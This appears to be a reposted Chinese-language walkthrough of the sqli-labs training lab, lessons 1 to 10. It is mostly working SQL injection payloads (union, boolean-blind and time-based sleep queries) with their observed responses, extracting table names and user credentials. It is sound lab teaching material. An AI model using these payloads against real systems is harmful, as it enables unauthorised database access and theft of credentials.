sqli-labs靶场详解(less1-less10)

news2024/11/28 6:50:18

目录

less-1

less-2

less 3

less 4

less 5

less-6

less-7

less-8

less-9

less-10

1-10关代码分析


less-1

判断注入点

?id=1  正常

?id=1' 报错:to use near ''1''

?id=1\ 报错:to use near ''1\'

?id=1' and '1'='1 正常

?id=1' and '1'='1'  报错:to use near ''1''

得出结论:GET字符注入点

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ 正常
?id=1' and 1=1 order by 2 --+ 正常
?id=1' and 1=1 order by 3 --+ 正常
?id=1' and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1' and 1=2 union select 1,2,3 --+

# 查看当前数据库
?id=1' and 1=2 union select 1,database(),3 --+

# 查看当前数据库的所有表
?id=1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

# 查看某表的字段名
id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

# 查看字段值
?id=1' and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less-2

判断注入点

?id=1  正常

?id=1' 报错:to use near ''

?id=1\ 报错:to use near '\

?id=1 and 1=1 正常

得出结论:GET整型注入点

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1 and 1=1 order by 1 --+ 正常
?id=1 and 1=1 order by 2 --+ 正常
?id=1 and 1=1 order by 3 --+ 正常
?id=1 and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1 and 1=2 union select 1,2,3 --+

# 查看当前数据库
?id=1 and 1=2 union select 1,database(),3 --+

# 查看当前数据库的所有表
?id=1 and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

# 查看某表的字段名
id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

# 查看字段值
?id=1 and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 3

判断注入点

?id=1 正常

?id=1' 报错:to use near ''1'')

?id=1\ 报错:to use near ''1\')

通过报错原因 得知参数在服务器端的形式为(‘$id’)

得出结论 GET字符型注入 并且在参数外加了一层括号

有一个问题 

less-1也是这个问题

已知 内部参数形式为(‘$id’)或者是'$id' 也就是字符型的

但是 ?id=1 and 1=2 --+ 只要是1的位置确定能查到数据 后面随便写依旧能查到

比如 ?id=1 a b c 11+-5 666  查询到的依旧是id=1的数据

正常情况下是把 1 a b c 11+-5 666 当成一整个字符串 到数据库中进行查询的

注入操作

?id=1') and 1=1 --+  正常显示
?id=1') and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1') and 1=1 order by 1 --+ 正常
?id=1') and 1=1 order by 2 --+ 正常
?id=1') and 1=1 order by 3 --+ 正常
?id=1') and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1') and 1=2 union select 1,database(),3 --+

# 查看当前数据库
?id=1') and 1=2 union select 1,database(),3 --+

# 查看当前数据库的所有表
?id=1') and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

# 查看某表的字段名
id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

# 查看字段值
?id=1') and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 4

判断注入点

?id=1 正常

?id=1' 正常输出id=1的结果 

?id=1ad 正常输出id=1的结果

以上两点可以判断出这是一个字符注入 但是并不是通过单引号使参数成为字符的

?id=1\ 报错:to use near '"1\")

通过这一点可以判断出参数在服务器端的形式为("$id")

得出结论 GET字符型注入 使参数变成字符的方式为双引号 并且在参数外加了一层括号

注入操作

?id=1") and 1=1 --+  正常显示
?id=1") and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1") and 1=1 order by 1 --+ 正常
?id=1") and 1=1 order by 2 --+ 正常
?id=1") and 1=1 order by 3 --+ 正常
?id=1") and 1=1 order by 4 --+ 错误
# 查看显示位 得出显示位为2,3号位
?id=1") and 1=2 union select 1,database(),3 --+

# 查看当前数据库
?id=1") and 1=2 union select 1,database(),3 --+

# 查看当前数据库的所有表
?id=1") and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+
#报错:显示行数大于一行
?id=1") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

# 查看某表的字段名
id=1") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

# 查看字段值
?id=1") and 1=2 union select 1,(select concat_ws(',',id,username,password) from security.users limit 0,1),3 --+

less 5

判断注入点

?id=0 空输出

?id=1 输出 You are in

以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果 You are in 为 true 有查询结果

?id=1' 报错 to use near ''1''

?id=1\ 报错 to use near ''1\'

通过报错可以判断出参数在服务器端的形式为'$id' 也就是字符类型

得出结论 GET字符型注入 并且为布尔注入点

注入操作

?id=1' and 1=1 --+  输出you are in
?id=1' and 1=2 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ you are in
?id=1' and 1=1 order by 2 --+ you are in
?id=1' and 1=1 order by 3 --+ you are in
?id=1' and 1=1 order by 4 --+ 报错
判断数据库长度
?id=1' and length(database())>7 --+ you are in
?id=1' and length(database())>8 --+ 空返回
# 猜测当前数据库名 
?id=1' and ascii(substr(database(),1,1))>97 --+  you are in
?id=1' and ascii(substr(database(),1,1))>120 --+ 空返回
?id=1' and ascii(substr(database(),1,1))>114 --+ you are in
?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  you are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空返回
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  you are in
注意 如果 字符的ascii>0 返回空结果 就证明 select没有查到任何数据

less-6

判断注入点

?id=1   you are in

?id=0   空输出

以上两点确定为布尔注入点 并且可以确定空输出为 false 无查询结果。 You are in 为 true 有查询结果

?id=1'   you are in

?id=1\ 报错:to use near '"1\"

通过第一点 输入单引号也不报错 并且返回 you are in 可以判定当前注入点是字符型 但是参数并不是被单引号引起来的 估计是双引号

通过第二点报错原因可以确定 该注入点位字符型 使用的符号位双引号

于是 

?id=1" --+ you are in

判断出参数在服务器端的形式为"$id"

注入操作

?id=1" and 1=1 --+  输出you are in
?id=1" and 1=1 --+  空显示
# 判断当前表的列数 得出当前表有3列
?id=1" and 1=1 order by 1 --+ you are in
?id=1" and 1=1 order by 2 --+ you are in
?id=1" and 1=1 order by 3 --+ you are in
?id=1" and 1=1 order by 4 --+ 报错
判断数据库长度
?id=1" and length(database())>7 --+ you are in
?id=1" and length(database())>8 --+ 空返回
# 猜测当前数据库名 
?id=1" and ascii(substr(database(),1,1))>97 --+  you are in
?id=1" and ascii(substr(database(),1,1))>120 --+ 空返回
?id=1" and ascii(substr(database(),1,1))>114 --+ you are in
?id=1" and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  you are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空结果可知 当前数据库一共有4张表
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空返回
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1" and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  you are in

以上六关演示的 报错都会输出到页面中 所以都可以使用过报错函数 进行报错注入


less-7

判断注入点

  • ①?id=1          You are in.... Use outfile......
  • ②?id=10000  You have an error in your SQL syntax
  • ③?id=0          You have an error in your SQL syntax

通过以上三点判断该注入点为布尔注入,

并且假定:语句查询到结果为TRUE  输出 You are in.... Use outfile......

                  语句没有查询到结果为FALSE 输出 You have an error in your SQL syntax

  • ④?id=1' 报错 :You have an error in your SQL syntax
  • ⑤?id=1\ 报错:You have an error in your SQL syntax

通过以上两点确定不能使用报错函数

  • ⑥?id=1 and 1=1 You are in.... Use outfile......
  • ⑦?id=1 and 1=2 You are in.... Use outfile......
  • ⑧?id=1\ 525 555and55 1=2 --+  You are in.... Use outfile......
  • ⑨?id=1' --+ You have an error in your SQL syntax

通过以上⑥⑦⑧确定注入点为字符型  通过⑨确定造成参数为字符的方式不是用单引号

于是多次尝试得出?id=1')) --+ You are in.... Use outfile......

判断出参数在服务器端的形式为(('$id' ))

技巧: 

?id=1 --+ 如果输出的还是正确的 可能是整型也有可能是字符

?id=1wqeqeqweadasd --+*9asda 输入的如果还是正确的 那么就可以确定这是字符注入点了

使用布尔盲注

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1')) and 1=1 order by 1 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 2 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 3 --+ You are in.... Use outfile......
?id=1')) and 1=1 order by 4 --+ You have an error in your SQL syntax
判断数据库长度
?id=1')) and length(database())>7 --+ You are in.... Use outfile......
?id=1')) and length(database())>8 --+ You have an error in your SQL syntax
# 猜测当前数据库名 
?id=1')) and ascii(substr(database(),1,1))>97 --+  You are in.... Use outfile......
?id=1')) and ascii(substr(database(),1,1))>120 --+ You have an error in your SQL syntax
?id=1')) and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile......
?id=1')) and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  You are in.... Use outfile......
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回You have an error in your SQL syntax可知 当前数据库一共有4张表
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  You have an error in your SQL syntax
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ You are in.... Use outfile......
# 查看字段值
?id=1')) and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  You are in.... Use outfile......

less-8

判断注入点

?id=1 you are in

?id=0 空返回

?id=100000 空返回

?id=1' 空返回

?id=1\ 空返回

通过以上判断该注入点为布尔注入,确定不能使用报错函数

并且假定:语句查询到结果为TRUE  输出 You are in

                  语句没有查询到结果或语法错误为FALSE 输出 空输出

?id=1 and 1=1 you are in

?id=1 and 1=2 you are in

?id=1 dwqd qascxz anxzcd 1=2 you are in

这三点能判断出当前注入点为字符型

?id=1' --+  you are in

?id=1' 空返回 

?id=1' and 1=1 --+ you are in

?id=1' and 1=2 --+ 空返回

能判断出 参数变成字符使用单引号处理的

判断出参数在服务器端的形式为'$id' 

注入操作

# 判断当前表的列数 得出当前表有3列
?id=1' and 1=1 order by 1 --+ You are in
?id=1' and 1=1 order by 2 --+ You are in
?id=1' and 1=1 order by 3 --+ You are in
?id=1' and 1=1 order by 4 --+ 空输出
判断数据库长度
?id=1' and length(database())>7 --+ You are in
?id=1' and length(database())>8 --+ 空输出
# 猜测当前数据库名 
?id=1' and ascii(substr(database(),1,1))>97 --+  You are in
?id=1' and ascii(substr(database(),1,1))>120 --+ 空输出
?id=1' and ascii(substr(database(),1,1))>114 --+ You are in.... Use outfile......
?id=1' and ascii(substr(database(),1,1))>115 --+ 空返回
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0 --+  You are in
# 修改limit的参数为4时 的第一个字符的ascii码>0 返回空可知 当前数据库一共有4张表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 4,1),1,1))>0 --+  空输出
# 查看某表的字段名
猜测 users 表第一列的列名 多次测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 --+ you are in
# 查看字段值
?id=1' and ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0 --+  You are in

less-9

判断注入点

?id=1 you are in

?id=0 you are in

?id=10000 you are in

?id=1' you are in

?id=1\ you are in

?id=1'''''wqeqdsadada you are in

通过以上直接就能判定该注入点为时间盲注

?id=1 and if(length(database())>0,sleep(2),2) 反应速度快

?id=1' and if(length(database())>0,sleep(2),2) --+ 两秒延时

通过以上可以判定这是 GET字符型时间盲注的注入点

注入操作

为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果
判断数据库长度
?id=1' and if(length(database())>0,sleep(2),2) --+  有延时
# 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符
?id=1' and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+  有延时
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看某表的字段名  
猜测 users 表第一列的列名 多次测试
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看字段值
?id=1' and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时

less-10

判断注入点

?id=1             you are in

?id=0             you are in

?id=1000000 you are in

?id=1'             you are in

?id=1\             you are in

?id=1wqedasad you are in

怀疑是盲注

?id=1 and if(length(database())>0,sleep(2),1)       无延时

?id=1' and if(length(database())>0,sleep(2),1) --+ 无延时

?id=1" and if(length(database())>0,sleep(2),1) --+ 延时2s

通过以上可以判定这是 GET采用双引号字符型时间盲注的注入点

注入操作

为什么使用>0的这种方式呢 因为可以使用二分法大大提高了效率 并且如果>0 不延时的话 也能判定出sql语句没有查询到结果
判断数据库长度
?id=1" and if(length(database())>0,sleep(2),2) --+  有延时
# 猜测当前数据库名 修改substr的第二个参数 获取第N位数据库的字符
?id=1" and if(ascii(substr(database(),1,1))>0,sleep(2),2)--+  有延时
# 猜测当前数据库的所有表
猜测第一个表的第一个字符 多次测试 得出结果
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看某表的字段名  
猜测 users 表第一列的列名 多次测试
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),2)--+ 有延时
# 查看字段值
?id=1" and if(ascii(substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))>0,sleep(2),2)--+ 有延时

1-10关代码分析

前六关服务器使用print_r(mysql_error());把报错具体信息输出到了页面上  可以使用报错函数

其余代码区别最大的就是:

① 服务器对$id变量的处理

举两个例子

② 查询结果是否输出到界面 报错是否输出到界面 等等 没什么好分析的

注意

  • ?id=1 --+ 容易出现问题
  • ?id=1--+ 不容易出现问题
  • 盲注采用二分法 提高效率

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1266801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Debian10安装VMware Tools

一、原系统 首先我在界面按CTRLALTT和CTRLSiftT都没有反应,没关系,我有办法 系统版本 管理员用户 步骤一:打开VMware Tools文件 步骤二、将文件复制到自己熟悉的文件内 步骤三、命令行查看文件是否复制成功存在 步骤四、解压VMware-tools…

一款具有MID认证的单相电表ADL200,可用于光伏逆变器监测,那么这款表尺寸跟参数有哪些呢?

概述 ADL200 单相电子式电能表主要用于计量低压网络的单相有功电能,同时可测量电压、电流、功率等电量, 并可选配 RS485 通讯功能,方便用户进行用电监测、集抄和管理。可灵活安装于配电箱内,实现对不同区域和不 同 负 荷 的 分 项…

Qt右键菜单+动作+qss案例

Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);//设置界面颜色样式this->setStyleSheet("background-color:rgb(54,54,54)");//创建文件菜单QMenu *fileMenuItems new QMenu;//菜单添加iconfileMenuItems->se…

JavaWeb后端数据库MySQL的使用

JavaWeb MySQLSQL数据库设计 多表设计1对多1对1多对多 多表查询连接查询内连接外连接左外连接右外连接 子查询事务索引 MySQL MySQL数据模型 关系型数据库:建立在关系模型基础上,由多张相互连接的二维表组成的数据库。 SQL SQL:操作关系型数…

丽晶酒店及度假村打造绮丽之境“美食实验室”中国市场首秀

于重庆丽晶酒店以艺术与美食的碰撞演绎“对比之美”,感官之华 2023年11月28日,中国上海 ——基于对当下消费趋势的敏锐洞察,洲际酒店集团旗下奢华品牌丽晶酒店及度假村近年来不断焕新,以崭新形象缔造现代奢华的旅居体验。作为丽晶…

多线程【第二十章】

线程简介 世间有很多工作都是可以同时完成的。例如,人体可以同时进行呼吸、血液循环、思考问题等活动;用户既可以使用计算机听歌,也可以使用它打印文件。同样,计算机完全可以将多种活动同时进行,这种思想放在 Java 中被称为并发&a…

基于若依的ruoyi-nbcio流程管理系统增加流程节点配置(二)

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码: https://gitee.com/nbacheng/ruoyi-nbcio 演示地址:RuoYi-Nbcio后台管理系统 上一节把数据库与相关基础数据字典准备好,下面就来实现相应的功能,目前先针对自定义…

Python语言学习笔记之五(Python代码注解)

本课程对于有其它语言基础的开发人员可以参考和学习,同时也是记录下来,为个人学习使用,文档中有此不当之处,请谅解。 注解与注释是不一样的,注解有更广泛的应用; 通过注解与注释都能提高代码的可读性和规…

探索三种生成模型:基于DDPMs、NCSNs和SDEs方法的Diffusion

探索三种生成模型:基于DDPMs、NCSNs和SDEs方法的Diffusion 去噪扩散概率模型(DDPMs)正向过程反向过程 噪声条件得分网络(NCSNs)正向过程初始化训练 NCSNs生成样本 反向过程 随机微分方程(SDEs)原…

2 线、3 线和 4 线 RTD 配置之间有什么区别?

电阻温度检测器 (RTD) 是温度传感器的一种,由于其准确性、可重复性和稳定性而广泛应用于各种工业应用。这些设备通过感测材料温度变化时电阻的变化来测量温度。 RTD 探头有多种配置,包括 2 线、3 线和 4 线型号。这些类型之间存在显着差异,在…

【古月居《ros入门21讲》学习笔记】08_发布者Publisher的编程实现

目录 说明: 1. 话题模型 图示 说明 2. 实现过程(C) 创建功能包 创建发布者代码(C) 配置发布者代码编译规则 编译并运行 编译 运行 3. 实现过程(Python) 创建发布者代码(…

双音多频的通信(数字信号处理实验3)

(1)从数字信号处理的角度分析双音多频通信,查阅资料了解双音多频通信的原理及工作过程,总结在实验报告中。 (2)了解DTMF接收信号时,离散傅立叶变化的过程。 (3)在程序中改…

电力智能化系统(智能电力综合监控系统)

电力智能化系统是一个综合性的系统,它利用物联网、云计算、大数据、人工智能等技术,依托电易云-智慧电力物联网,采用智能采集终端和物联网关,将电力设备、用电负荷、电力市场等各个环节有机地联系起来,实现了对电力配送…

sqli-labs靶场详解(less25/25a-less28/28a)

在SQL注入过程中难点就是判断注入点 只要注入点确定了 获取数据库数据的过程就是复制 从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了) 目录 less-25 less-25a less-26 less-26a less-27 less-27a less-28 less-…

vue使用echarts中国地图

需求:Vue3 vite TS 项目内使用 Echarts 5 绘制中国地图。鼠标悬浮省份上面显示指定的数据,地图支持缩放和拖拽的功能,页面放大缩小支持自适应,window.addEventListener(‘resize’, resize); 添加防抖动函数debounce。 一、安装…

房屋租赁出售经纪人入驻小程序平台

一款专为房屋中介开发的小程序平台,支持独立部署,源码交付,数据安全无忧。 核心功能:房屋出租、经纪人独立后台、分佣后台、楼盘展示、房型展示、在线咨询、地址位置配套设施展示。 程序已被很多房屋交易中介体验使用过&#x…

操作系统校招知识点总结

文章目录 前言1. 操作系统概述1.1 操作系统的四大特征(并共虚异)1.2 操作系统的主要功能?1.3 动态链接库和静态链接库的区别?1.4 并发和共享之间的关系?1.5 中断和异常的概念? 2. 进程与线程2.1 进程和线程…

台灯怎么选对眼睛好?适合考研使用的护眼台灯推荐

现在晚上仍然需要工作、学习的人有很多,这样的一件事似乎已经成为“家常便饭”,尤其事对于一些学生党而言。每天都有写不完的作业、做不完的功课,这样高强度的用眼下来,容易导致眼睛疲劳、近视等等。很多人会选择在夜晚的时候使用…

基于Java SSM框架+Vue实现房屋租赁网站项目【项目源码+论文说明】

基于java的SSM框架Vue实现房屋租赁网站演示 摘要 随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,房屋租赁系统当然也不能排除在外。房屋租赁系统是以实际运用为开发背景&…

计算机网络 一到二章 PPT 复习

啥币老师要隔段时间测试,我只能说坐胡狗吧旁边 第一章 这nm真的会考,我是绷不住的 这nm有五种,我一直以为只有三种 广播帧在后面的学习中经常遇到 虽然老师在上课的过程中并没有太过强调TCP/IP的连接和断开,但我必须强调一下&…